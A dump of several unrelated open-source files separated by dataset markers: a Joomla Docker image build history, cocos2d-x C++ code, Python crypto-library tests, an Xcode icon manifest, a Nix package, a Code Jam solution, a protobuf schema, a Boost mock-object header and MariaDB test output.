RUN set -ex; savedAptMark="$(apt-mark showmanual)"; apt-get update; apt-get install -y --no-install-recommends libbz2-dev libgmp-dev libjpeg-dev libldap2-dev libmcrypt-dev libmemcached-dev libpng-dev libpq-dev ; docker-php-ext-configure gd --with-jpeg-dir=/usr --with-png-dir=/usr; debMultiarch="$(dpkg-architecture --query DEB_BUILD_MULTIARCH)"; docker-php-ext-configure ldap --with-libdir="lib/$debMultiarch"; docker-php-ext-install -j "$(nproc)" bz2 gd gmp ldap mysqli pdo_mysql pdo_pgsql pgsql zip ; pecl install APCu-5.1.18; pecl install memcached-3.1.5; pecl install redis-4.3.0; docker-php-ext-enable apcu memcached redis ; apt-mark auto '.*' > /dev/null; apt-mark manual $savedAptMark; ldd "$(php -r 'echo ini_get("extension_dir");')"/*.so | awk '/=>/ { print $3 }' | sort -u | xargs -r dpkg-query -S | cut -d: -f1 | sort -u | xargs -rt apt-mark manual; apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; rm -rf /var/lib/apt/lists/*
# Thu, 10 Sep 2020 08:29:17 GMT
VOLUME [/var/www/html]
# Thu, 10 Sep 2020 08:29:17 GMT
ENV JOOMLA_VERSION=3.9.21
# Thu, 10 Sep 2020 08:29:17 GMT
ENV JOOMLA_SHA512=603027bb54f1aa0c37ecdac7438ce1294120b82a16f6c5b6671d1344e87816cc999d9b7e7fe149800e26d937a97fba383817d3e1c71bd23b1a2d380758de3a1d
# Thu, 10 Sep 2020 08:29:22 GMT
RUN set -ex; curl -o joomla.tar.bz2 -SL https://github.com/joomla/joomla-cms/releases/download/${JOOMLA_VERSION}/Joomla_${JOOMLA_VERSION}-Stable-Full_Package.tar.bz2; echo "$JOOMLA_SHA512 *joomla.tar.bz2" | sha512sum -c -; mkdir /usr/src/joomla; tar -xf joomla.tar.bz2 -C /usr/src/joomla; rm joomla.tar.bz2; chown -R www-data:www-data /usr/src/joomla
# Thu, 10 Sep 2020 08:29:23 GMT
COPY file:f6b7a1c96cc89593a2b9ce4c68af350ae02f2e0c654cd5e842ff6c03641d470e in /entrypoint.sh
# Thu, 10 Sep 2020 08:29:23 GMT
COPY file:5a85d779aaae74cfa3ab6228df0f24236d4d5ad9097e2a1b277e3daea0d6d3dc in /makedb.php
# Thu, 10 Sep 2020 08:29:24 GMT
ENTRYPOINT ["/entrypoint.sh"]
# Thu, 10 Sep 2020 08:29:24 GMT
CMD ["apache2-foreground"]
```
- Layers:
- `sha256:07e4a6dbced6eed74bdb331987f95c00aa5b46543570b7adc1575121e66102dd`
Last Modified: Wed, 09 Sep 2020 23:46:28 GMT
Size: 25.7 MB (25707597 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:b41f81f5ba533e5fb32c0cfcf148fd10f7157036df317d3440322ee13328ea09`
Last Modified: Thu, 10 Sep 2020 03:54:26 GMT
Size: 229.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:ea4e35c34d5aea8c49d40ce4058e764f58b846eea3c34245ea9040071aff201c`
Last Modified: Thu, 10 Sep 2020 03:54:34 GMT
Size: 64.7 MB (64706227 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:0dfe2203ba81a2f860cc2e28027c6f86906241199bd4c535778c6f7a7ddb66cc`
Last Modified: Thu, 10 Sep 2020 03:54:24 GMT
Size: 271.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:9184750e64fa258fd6be97ea17d97f96aac11899928b96afce2ff011a28bd596`
Last Modified: Thu, 10 Sep 2020 03:54:53 GMT
Size: 18.5 MB (18523170 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:74b1592d2c355917fd8ce6974bcaaedcfbd38b3b33e9e915ac0305c989af0a2d`
Last Modified: Thu, 10 Sep 2020 03:54:50 GMT
Size: 479.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:d4a739d503af04529b3e218f8a1b4548d8d2656f3fd20eaa6a298f9680b0d804`
Last Modified: Thu, 10 Sep 2020 03:54:50 GMT
Size: 511.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:df7ed9b053b9fdcd234b9f836da9a5562f96fd5893e8b173be722483b049f5cb`
Last Modified: Thu, 10 Sep 2020 03:57:54 GMT
Size: 12.6 MB (12647429 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:230e4993a5ca33db8c54408cd06c06f079e56c102f0cb6e26b38e65ee9c99d7c`
Last Modified: Thu, 10 Sep 2020 03:57:53 GMT
Size: 493.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:47936bfd220b34920e4d204b8c174353c6572b69739b9526729ce18001b42e48`
Last Modified: Thu, 10 Sep 2020 03:57:54 GMT
Size: 13.1 MB (13090806 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:8986308ee5b833d581df58ea4ca6d16c575586e8dd2d91912a00335a43b33b81`
Last Modified: Thu, 10 Sep 2020 03:57:52 GMT
Size: 2.3 KB (2286 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:b26d6963380a8f9d616a0f3f6ed0ced2009b3f5329f356ad80b10f0e81c5c2c8`
Last Modified: Thu, 10 Sep 2020 03:57:52 GMT
Size: 248.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:3bbae4e9443893542767b24fc81b16a54af3607ccc476e0bedd7d2205a76c459`
Last Modified: Thu, 10 Sep 2020 03:57:52 GMT
Size: 213.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:1e3174de970737a92019f2b4666bb2c41a5d32e4ef31158d2c9eaa08df066d2c`
Last Modified: Thu, 10 Sep 2020 03:57:52 GMT
Size: 896.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:613dbd4eae73331cfbcf6cfb6054d2c9a599d838e0ce62a0154bf5fbafc76ddb`
Last Modified: Thu, 10 Sep 2020 08:37:22 GMT
Size: 310.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:ab6f65bd7bbfda8c512d7d1576b57fd479023353b678cd4f91d1e535264a226e`
Last Modified: Thu, 10 Sep 2020 08:37:22 GMT
Size: 3.4 MB (3353273 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:539b0b8ef8fcffdbe985c5e146abb28ac6800485b2393fe24839fe2e544fb11f`
Last Modified: Thu, 10 Sep 2020 08:37:23 GMT
Size: 9.7 MB (9686478 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:250ce65d0099271b1ea852a9a57086e6f015d3f9ebe73ab315cd82b416f48f9a`
Last Modified: Thu, 10 Sep 2020 08:37:21 GMT
Size: 1.2 KB (1200 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:96acd4fba466a01c08c3f2f4c5b6262f00052f57ae858b9a3b4009cdc334b172`
Last Modified: Thu, 10 Sep 2020 08:37:21 GMT
Size: 613.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
| {
"pile_set_name": "Github"
} |
/****************************************************************************
Copyright (c) 2013-2016 Chukong Technologies Inc.
Copyright (c) 2017-2018 Xiamen Yaji Software Co., Ltd.
http://www.cocos2d-x.org
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
****************************************************************************/
#include "ui/UIRelativeBox.h"
NS_CC_BEGIN
namespace ui{
RelativeBox::RelativeBox()
{
}
RelativeBox::~RelativeBox()
{
}
RelativeBox* RelativeBox::create()
{
RelativeBox* widget = new (std::nothrow) RelativeBox();
if (widget && widget->init())
{
widget->autorelease();
return widget;
}
CC_SAFE_DELETE(widget);
return nullptr;
}
RelativeBox* RelativeBox::create(const cocos2d::Size &size)
{
RelativeBox* widget = new (std::nothrow) RelativeBox();
if (widget && widget->initWithSize(size))
{
widget->autorelease();
return widget;
}
CC_SAFE_DELETE(widget);
return nullptr;
}
bool RelativeBox::init()
{
if (Layout::init())
{
setLayoutType(Layout::Type::RELATIVE);
return true;
}
return false;
}
bool RelativeBox::initWithSize(const Size& size)
{
if (init())
{
setContentSize(size);
return true;
}
return false;
}
}
NS_CC_END
| {
"pile_set_name": "Github"
} |
# Copyright 2018, Cossack Labs Limited
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# coding: utf-8
import unittest
from pythemis.skeygen import GenerateKeyPair, KEY_PAIR_TYPE
from acrawriter import create_acrastruct, generate_key, SYMMETRIC_KEY_LENGTH
class TestGenerateKey(unittest.TestCase):
def testGenerateKey(self):
self.assertEqual(len(generate_key()), SYMMETRIC_KEY_LENGTH)
class TestCreateAcraStruct(unittest.TestCase):
def testWithContext(self):
test_data = b'some data'
context = b'some context'
public_key = GenerateKeyPair(KEY_PAIR_TYPE.EC).export_public_key()
self.assertIsNotNone(create_acrastruct(test_data, public_key, context))
def testWithoutContext(self):
test_data = b'some data'
public_key = GenerateKeyPair(KEY_PAIR_TYPE.EC).export_public_key()
self.assertIsNotNone(create_acrastruct(test_data, public_key))
def testWithEncoding(self):
test_data = 'some data'
public_key = GenerateKeyPair(KEY_PAIR_TYPE.EC).export_public_key()
self.assertIsNotNone(create_acrastruct(test_data, public_key))
if __name__ == '__main__':
unittest.main() | {
"pile_set_name": "Github"
} |
{
"images" : [
{
"size" : "20x20",
"idiom" : "iphone",
"filename" : "[email protected]",
"scale" : "2x"
},
{
"size" : "20x20",
"idiom" : "iphone",
"filename" : "[email protected]",
"scale" : "3x"
},
{
"size" : "29x29",
"idiom" : "iphone",
"filename" : "[email protected]",
"scale" : "1x"
},
{
"size" : "29x29",
"idiom" : "iphone",
"filename" : "[email protected]",
"scale" : "2x"
},
{
"size" : "29x29",
"idiom" : "iphone",
"filename" : "[email protected]",
"scale" : "3x"
},
{
"size" : "40x40",
"idiom" : "iphone",
"filename" : "[email protected]",
"scale" : "2x"
},
{
"size" : "40x40",
"idiom" : "iphone",
"filename" : "[email protected]",
"scale" : "3x"
},
{
"size" : "57x57",
"idiom" : "iphone",
"filename" : "[email protected]",
"scale" : "1x"
},
{
"size" : "57x57",
"idiom" : "iphone",
"filename" : "[email protected]",
"scale" : "2x"
},
{
"size" : "60x60",
"idiom" : "iphone",
"filename" : "[email protected]",
"scale" : "2x"
},
{
"size" : "60x60",
"idiom" : "iphone",
"filename" : "[email protected]",
"scale" : "3x"
},
{
"size" : "20x20",
"idiom" : "ipad",
"filename" : "[email protected]",
"scale" : "1x"
},
{
"size" : "20x20",
"idiom" : "ipad",
"filename" : "[email protected]",
"scale" : "2x"
},
{
"size" : "29x29",
"idiom" : "ipad",
"filename" : "[email protected]",
"scale" : "1x"
},
{
"size" : "29x29",
"idiom" : "ipad",
"filename" : "[email protected]",
"scale" : "2x"
},
{
"size" : "40x40",
"idiom" : "ipad",
"filename" : "[email protected]",
"scale" : "1x"
},
{
"size" : "40x40",
"idiom" : "ipad",
"filename" : "[email protected]",
"scale" : "2x"
},
{
"size" : "76x76",
"idiom" : "ipad",
"filename" : "[email protected]",
"scale" : "1x"
},
{
"size" : "76x76",
"idiom" : "ipad",
"filename" : "[email protected]",
"scale" : "2x"
},
{
"size" : "83.5x83.5",
"idiom" : "ipad",
"filename" : "[email protected]",
"scale" : "2x"
}
],
"info" : {
"version" : 1,
"author" : "xcode"
}
} | {
"pile_set_name": "Github"
} |
{ mkDerivation, lib, extra-cmake-modules, kdoctools, ki18n, kio, knewstuff }:
mkDerivation {
name = "kturtle";
meta = with lib; {
homepage = "https://kde.org/applications/en/utilities/org.kde.kturtle";
description = "KTurtle is an educational programming environment for learning how to program";
maintainers = with maintainers; [ freezeboy ];
license = licenses.gpl2Plus;
platforms = platforms.linux;
};
nativeBuildInputs = [
extra-cmake-modules
];
buildInputs = [
kdoctools
ki18n
kio
knewstuff
];
}
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env python3
# https://codingcompetitions.withgoogle.com/codejam/round/000000000019fd27/0000000000209a9e
t, b = map(int, input().split())
for _ in range(t):
xs = [None] * b
q, k, k1, k2 = 0, 0, None, None
def query(k):
global q
q += 1
print(k)
r = int(input())
return r
def complement():
global xs
for i in range(b):
if xs[i] == 0:
xs[i] = 1
elif xs[i] == 1:
xs[i] = 0
def solve():
print(''.join(str(x) for x in xs))
assert(input() == 'Y')
while True:
if q > 0 and q % 10 == 0:
if k1 is not None and k2 is not None:
v1 = query(k1+1)
v2 = query(k2+1)
if xs[k1] == v1 and xs[k2] == v2:
pass
elif xs[k1] != v1 and xs[k2] != v2:
complement()
elif xs[k1] != v1:
xs = xs[::-1]
complement()
else:
xs = xs[::-1]
elif k1 is not None:
v1 = query(k1+1)
v1 = query(k1+1)
if xs[k1] != v1:
complement()
else:
v2 = query(k2+1)
v2 = query(k2+1)
if xs[k2] != v2:
xs = xs[::-1]
else:
v1 = query(k+1)
v2 = query(b-k)
xs[k] = v1
xs[b-k-1] = v2
if v1 == v2 and k1 is None:
k1 = k
elif v1 != v2 and k2 is None:
k2 = k
k += 1
if k*2 == b:
solve()
break
| {
"pile_set_name": "Github"
} |
// Go support for Protocol Buffers - Google's data interchange format
//
// Copyright 2011 The Go Authors. All rights reserved.
// https://github.com/golang/protobuf
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
syntax = "proto2";
package imp;
message PubliclyImportedMessage {
optional int64 field = 1;
}
enum PubliclyImportedEnum {
GLASSES = 1;
HAIR = 2;
}
| {
"pile_set_name": "Github"
} |
// (C) Copyright Gennadiy Rozental 2005-2008.
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
// See http://www.boost.org/libs/test for the library home page.
//
// File : $RCSfile$
//
// Version : $Revision: 54633 $
//
// Description : Facilities to perform exception safety_tests
// ***************************************************************************
#ifndef BOOST_TEST_MOCK_OBJECT_HPP_112205GER
#define BOOST_TEST_MOCK_OBJECT_HPP_112205GER
// Boost.Test
#include <boost/test/detail/config.hpp>
#include <boost/test/interaction_based.hpp>
// Boost
#include <boost/preprocessor/punctuation/comma.hpp>
#include <boost/test/detail/suppress_warnings.hpp>
//____________________________________________________________________________//
namespace boost {
namespace itest {
// ************************************************************************** //
// ************** mock_object_base ************** //
// ************************************************************************** //
class mock_object_base {
public:
mock_object_base() {}
template<typename T1>
mock_object_base( T1 const& ) {}
template<typename T1, typename T2>
mock_object_base( T1 const&, T2 const& ) {}
template<typename T1, typename T2, typename T3>
mock_object_base( T1 const&, T2 const&, T3 const& ) {}
template<typename T1, typename T2, typename T3, typename T4>
mock_object_base( T1 const&, T2 const&, T3 const&, T4 const& ) {}
template<typename T1, typename T2, typename T3, typename T4, typename T5>
mock_object_base( T1 const&, T2 const&, T3 const&, T4 const&, T5 const& ) {}
};
// ************************************************************************** //
// ************** mock_object implementation helpers ************** //
// ************************************************************************** //
#define MO_OP_IMPL( op, descr, ret ) \
BOOST_ITEST_SCOPE( mock_object::operator op ); \
BOOST_ITEST_EPOINT( descr ); \
return ret \
/**/
#define MO_UNARY_OP( op, descr ) \
self_type const& operator op() const \
{ \
MO_OP_IMPL( op, descr, prototype() ); \
} \
/**/
#define MO_UNARY_BOOL_OP( op, descr ) \
bool operator op() const \
{ \
MO_OP_IMPL( op, descr, (!!BOOST_ITEST_DPOINT()) ); \
} \
/**/
#define MO_BINARY_OP( op, descr ) \
template<int i1, typename Base1,int i2, typename Base2> \
inline mock_object<i1,Base1> const& \
operator op( mock_object<i1,Base1> const& mo, \
mock_object<i2,Base2> const& ) \
{ \
MO_OP_IMPL( op, descr, mo ); \
} \
\
template<int i, typename Base, typename T> \
inline mock_object<i,Base> const& \
operator op( mock_object<i,Base> const& mo, T const& ) \
{ \
MO_OP_IMPL( op, descr, mo ); \
} \
\
template<int i, typename Base, typename T> \
inline mock_object<i,Base> const& \
operator op( T const&, mock_object<i,Base> const& mo ) \
{ \
MO_OP_IMPL( op, descr, mo ); \
} \
/**/
#define MO_BINARY_BOOL_OP( op, descr ) \
template<int i1, typename Base1,int i2, typename Base2> \
inline bool \
operator op( mock_object<i1,Base1> const&, \
mock_object<i2,Base2> const& ) \
{ \
MO_OP_IMPL( op, descr, BOOST_ITEST_DPOINT() ); \
} \
\
template<int i, typename Base, typename T> \
inline bool \
operator op( mock_object<i,Base> const&, T const& ) \
{ \
MO_OP_IMPL( op, descr, BOOST_ITEST_DPOINT() ); \
} \
\
template<int i, typename Base, typename T> \
inline bool \
operator op( T const&, mock_object<i,Base> const& ) \
{ \
MO_OP_IMPL( op, descr, BOOST_ITEST_DPOINT() ); \
} \
/**/
// ************************************************************************** //
// ************** mock_object ************** //
// ************************************************************************** //
template<int i = 0, typename Base=mock_object_base>
class mock_object;
template<int i, typename Base>
class mock_object : public Base {
// Private typeefs
typedef mock_object<i,Base> self_type;
struct dummy { void nonnull() {}; };
typedef void (dummy::*safe_bool)();
// prototype constructor
mock_object( dummy* ) {}
public:
static mock_object& prototype()
{
static mock_object p( reinterpret_cast<dummy*>(0) );
return p;
}
// Constructors
mock_object()
{
BOOST_ITEST_SCOPE( mock_object::mock_object );
BOOST_ITEST_EPOINT( "Mock object default constructor" );
}
template<typename T1>
mock_object( T1 const& arg1 )
: mock_object_base( arg1 )
{
BOOST_ITEST_SCOPE( mock_object::mock_object );
BOOST_ITEST_EPOINT( "Mock object constructor" );
}
template<typename T1, typename T2>
mock_object( T1 const& arg1, T2 const& arg2 )
: mock_object_base( arg1, arg2 )
{
BOOST_ITEST_SCOPE( mock_object::mock_object );
BOOST_ITEST_EPOINT( "Mock object constructor" );
}
template<typename T1, typename T2, typename T3>
mock_object( T1 const& arg1, T2 const& arg2, T3 const& arg3 )
: mock_object_base( arg1, arg2, arg3 )
{
BOOST_ITEST_SCOPE( mock_object::mock_object );
BOOST_ITEST_EPOINT( "Mock object constructor" );
}
template<typename T1, typename T2, typename T3, typename T4>
mock_object( T1 const& arg1, T2 const& arg2, T3 const& arg3, T4 const& arg4 )
: mock_object_base( arg1, arg2, arg3, arg4 )
{
BOOST_ITEST_SCOPE( mock_object::mock_object );
BOOST_ITEST_EPOINT( "Mock object constructor" );
}
template<typename T1, typename T2, typename T3, typename T4, typename T5>
mock_object( T1 const& arg1, T2 const& arg2, T3 const& arg3, T4 const& arg4, T5 const& arg5 )
: mock_object_base( arg1, arg2, arg3, arg4, arg5 )
{
BOOST_ITEST_SCOPE( mock_object::mock_object );
BOOST_ITEST_EPOINT( "Mock object constructor" );
}
mock_object( mock_object const& )
{
BOOST_ITEST_SCOPE( mock_object::mock_object );
BOOST_ITEST_EPOINT( "Mock object copy constructor" );
}
// assignment
self_type const& operator =( mock_object const& ) const
{
MO_OP_IMPL( =, "Copy assignment", prototype() );
}
template <typename T>
self_type const& operator =( T const& ) const
{
MO_OP_IMPL( =, "Copy assignment", prototype() );
}
// Unary operators
MO_UNARY_BOOL_OP( !, "Logical NOT operator" )
MO_UNARY_OP( &, "Address-of operator" )
MO_UNARY_OP( ~, "One's complement operator" )
MO_UNARY_OP( *, "Pointer dereference" )
MO_UNARY_OP( +, "Unary plus" )
// Increment and Decrement
MO_UNARY_OP( ++, "Prefix increment" )
MO_UNARY_OP( --, "Prefix decrement" )
self_type const& operator ++(int) const
{
MO_OP_IMPL( ++, "Postfix increment", prototype() );
}
self_type const& operator --(int) const
{
MO_OP_IMPL( --, "Postfix decrement", prototype() );
}
// Bool context convertion
operator safe_bool() const
{
MO_OP_IMPL( safe_bool, "Bool context conversion",
(BOOST_ITEST_DPOINT() ? 0 : &dummy::nonnull) );
}
// Function-call operators
self_type const& operator ()() const
{
MO_OP_IMPL( (), "0-arity function-call", prototype() );
}
template<typename T1>
self_type const& operator ()( T1 const& arg1 ) const
{
MO_OP_IMPL( (), "1-arity function-call", prototype() );
}
template<typename T1, typename T2>
self_type const& operator ()( T1 const&, T2 const& ) const
{
MO_OP_IMPL( (), "2-arity function-call", prototype() );
}
template<typename T1, typename T2, typename T3>
self_type const& operator ()( T1 const&, T2 const&, T3 const& ) const
{
MO_OP_IMPL( (), "3-arity function-call", prototype() );
}
template<typename T1, typename T2, typename T3, typename T4>
self_type const& operator ()( T1 const&, T2 const&, T3 const&, T4 const& ) const
{
MO_OP_IMPL( (), "4-arity function-call", prototype() );
}
template<typename T1, typename T2, typename T3, typename T4, typename T5>
self_type const& operator ()( T1 const&, T2 const&, T3 const&, T4 const&, T5 const& ) const
{
MO_OP_IMPL( (), "5-arity function-call", prototype() );
}
// Substripting
template<typename T>
self_type const& operator []( T const& ) const
{
MO_OP_IMPL( [], "Substripting", prototype() );
}
// Class member access
self_type const* operator->() const
{
MO_OP_IMPL( ->, "Class member access", this );
}
};
// !! MO_BINARY_OP( BOOST_PP_COMMA(), "Comma operator" )
MO_BINARY_BOOL_OP( !=, "Inequality" )
MO_BINARY_OP( %, "Modulus" )
MO_BINARY_OP( %=, "Modulus/assignment" )
MO_BINARY_OP( &, "Bitwise AND" )
MO_BINARY_BOOL_OP( &&, "Logical AND" )
MO_BINARY_OP( &=, "Bitwise AND/assignment" )
MO_BINARY_OP( *, "Multiplication" )
MO_BINARY_OP( *=, "Multiplication/assignment" )
MO_BINARY_OP( +, "Addition" )
MO_BINARY_OP( +=, "Addition/assignment" )
//MO_BINARY_OP( -, "Subtraction" )
MO_BINARY_OP( -=, "Subtraction/assignment" )
MO_BINARY_OP( ->*, "Pointer-to-member selection" )
MO_BINARY_OP( /, "Division" )
MO_BINARY_OP( /=, "Division/assignment" )
MO_BINARY_BOOL_OP( <, "Less than" )
MO_BINARY_OP( <<=, "Left shift/assignment" )
MO_BINARY_BOOL_OP( <=, "Less than or equal to" )
MO_BINARY_BOOL_OP( ==, "Equality" )
MO_BINARY_BOOL_OP( >, "Greater than" )
MO_BINARY_BOOL_OP( >=, "Greater than or equal to" )
MO_BINARY_OP( >>=, "Right shift/assignment" )
MO_BINARY_OP( ^, "Exclusive OR" )
MO_BINARY_OP( ^=, "Exclusive OR/assignment" )
MO_BINARY_OP( |, "Bitwise inclusive OR" )
MO_BINARY_OP( |=, "Bitwise inclusive OR/assignment" )
MO_BINARY_BOOL_OP( ||, "Logical OR" )
MO_BINARY_OP( <<, "Left shift" )
MO_BINARY_OP( >>, "Right shift" )
} // namespace itest
} // namespace boost
#include <boost/test/detail/enable_warnings.hpp>
#endif // BOOST_TEST_MOCK_OBJECT_HPP_112205GER
| {
"pile_set_name": "Github"
} |
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
| {
"pile_set_name": "Github"
} |
# Bad IRI : good escape, bad charcater
{<http://example/\u0020> <http://example/p> <http://example/o> .}
| {
"pile_set_name": "Github"
} |
CREATE TABLE t1 (i1 INT UNSIGNED NULL DEFAULT 42) ENGINE=innodb;
INSERT INTO t1 VALUES(NULL);
ALTER TABLE t1 CHANGE i1 i1 INT UNSIGNED NOT NULL DEFAULT rand(),
ALGORITHM=INPLACE;
ERROR 01000: Data truncated for column 'i1' at row 1
ALTER TABLE t1 CHANGE i1 i1 INT UNSIGNED NOT NULL DEFAULT rand(),
ALGORITHM=COPY;
ERROR 01000: Data truncated for column 'i1' at row 1
ALTER TABLE t1 CHANGE i1 id INT UNSIGNED NOT NULL AUTO_INCREMENT,
ADD PRIMARY KEY(id), ALGORITHM=INPLACE;
ERROR 0A000: ALGORITHM=INPLACE is not supported. Reason: Cannot change column type. Try ALGORITHM=COPY
ALTER IGNORE TABLE t1 ADD PRIMARY KEY(i1), ALGORITHM=INPLACE;
ERROR 0A000: ALGORITHM=INPLACE is not supported. Reason: Creating unique indexes with IGNORE requires COPY algorithm to remove duplicate rows. Try ALGORITHM=COPY
SET @old_sql_mode = @@sql_mode;
SET sql_mode = '';
ALTER TABLE t1 ADD PRIMARY KEY(i1), ALGORITHM=INPLACE;
affected rows: 0
info: Records: 0 Duplicates: 0 Warnings: 1
Warnings:
Warning 1265 Data truncated for column 'i1' at row 1
SET sql_mode = @old_sql_mode;
ALTER TABLE t1 CHANGE i1 id INT UNSIGNED NOT NULL AUTO_INCREMENT;
affected rows: 1
info: Records: 1 Duplicates: 0 Warnings: 0
SELECT * FROM t1;
id
42
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=43 DEFAULT CHARSET=latin1
DROP TABLE t1;
CREATE TABLE t1 (i1 INT UNSIGNED NOT NULL, d1 TIMESTAMP NULL) ENGINE=InnoDB;
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`i1` int(10) unsigned NOT NULL,
`d1` timestamp NULL DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1
INSERT INTO t1 (i1) VALUES (1), (2), (3), (4), (5);
select * from t1;
i1 d1
1 NULL
2 NULL
3 NULL
4 NULL
5 NULL
set sql_mode = 'STRICT_ALL_TABLES,NO_ZERO_DATE';
ALTER TABLE t1 CHANGE d1 d1 TIMESTAMP NULL DEFAULT '2017-05-08 16:23:45',
ALGORITHM=INPLACE;
SELECT DISTINCT d1 FROM t1;
d1
NULL
ALTER TABLE t1 CHANGE d1 d1 TIMESTAMP NULL DEFAULT '2017-05-08 16:32:45',
ALGORITHM=COPY;
SELECT DISTINCT d1 FROM t1;
d1
NULL
ALTER TABLE t1 CHANGE d1 d1 TIMESTAMP DEFAULT '2017-05-08 16:32:54';
affected rows: 5
info: Records: 5 Duplicates: 0 Warnings: 0
# Note: NULL was changed to CURRENT_TIMESTAMP(),
# not the specified constant DEFAULT value!
SELECT COUNT(DISTINCT d1),COUNT(d1),COUNT(*) FROM t1;
COUNT(DISTINCT d1) COUNT(d1) COUNT(*)
1 5 5
SELECT DISTINCT (CURRENT_TIMESTAMP()-d1) <= 60 FROM t1;
(CURRENT_TIMESTAMP()-d1) <= 60
1
drop table t1;
CREATE TABLE t1 (
`i1` INT(10) UNSIGNED NOT NULL,
`d1` TIMESTAMP NULL DEFAULT NULL
) ENGINE=innodb;
INSERT INTO t1 (i1) VALUES (1), (2), (3), (4), (5);
ALTER TABLE t1 CHANGE d1 d1 TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP;
affected rows: 5
info: Records: 5 Duplicates: 0 Warnings: 0
ALTER TABLE t1 ADD COLUMN w1 varchar(20) NULL DEFAULT USER();
affected rows: 0
info: Records: 0 Duplicates: 0 Warnings: 0
ALTER TABLE t1 CHANGE w1 u1 varchar(30) NULL DEFAULT substr(USER(),1);
affected rows: 0
info: Records: 0 Duplicates: 0 Warnings: 0
